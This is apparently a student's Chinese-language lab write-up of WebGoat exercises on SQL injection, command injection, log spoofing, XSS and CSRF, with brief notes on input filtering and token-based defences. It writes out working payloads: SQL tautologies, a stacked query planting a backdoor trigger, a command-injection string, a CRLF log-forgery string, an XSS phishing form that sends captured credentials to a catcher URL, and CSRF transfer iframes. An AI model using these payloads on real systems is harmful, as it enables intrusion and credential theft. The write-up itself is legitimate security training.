SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤。
在表单提交或者url参数传递前,对需要的参数进行过滤。
过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出
2、过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出。
验证 HTTP Referer 字段
在请求地址中添加 token 并验证
在 HTTP 头中自定义属性并验证
打开的时候发现没有安装
下载webgoat,放置home中。
再次用上一次的指令打开webgoat。
最小化终端,打开浏览器,输入localhost:8080/WebGoat,并选择默认账号、密码登录。
打开Command Injection
在BackDoors.help旁边加上"& netstat -an & ipconfig"
可以看到命令被执行,出现系统网络连接情况:
概念:
1.找到Numeric SQL Injection
在Numeric SQL Injection页面上右键,点击inspect Element
在inspector下添加代码or 1=1构成永真式
点击GO,发现成功了
目标:像用户名“admin”成功登录。
找到Log Spoofing
在User Name文本框中输入rq%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:
成功!
尝试构造永真式!
成功
目标:下面的表单允许用户查看他们的信用卡号码。尝试注入导致所有信用卡号显示的SQL字符串。试试“史米斯”的用户名。
字符注入,构造一个永真式,还是用的之前的‘or 1=‘1
成功!
以用户Neville登录,在密码栏中输入rq‘ or ‘1‘=‘1 --永真式进行SQL注入,将密码长度改为40。
登录
Stage 3:Numeric SQL Injection
先看Larry的信息
点击ViewProfile进去,即可查看老板的详细信息
salary=10000,成功把该用户的工资涨到了10000。
101;CREATE TRIGGER rqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘20154332@qq.com‘ WHERE userid = NEW.userid
先编写一个包含用户名、密码的前端代码:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
将这段代码输入到输入框中,点击search出现如下登录框:
在登录框中输入用户名、密码:
点击登录后跳出弹框,其中包含用户输入的用户名、密码。攻击成功!
存储型XSS的攻击基本流程:
重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器
在Message框中输入
成功!
打开xss的第三个攻击,在code框中输入
点击Purchase出现对话框,显示I am 20155305qiaolei。攻击成功!
!
查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:
< iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> < /iframe >
< iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> < /iframe >
这次实验是课程的最后一次实验,在实验过程中学到的知识和能力真的受益匪浅。
这次的实验题目中会结合一些实际的例子,进行攻击。这次做的实验数量比较多,但做完感觉原理都是一样的。学习到了很多攻击类型,更加深入的了解很多。
每破解一题后就会有一个绿色的小对勾,像闯过一个关卡一样,有些小激动。
原文:https://www.cnblogs.com/renqing/p/9086643.html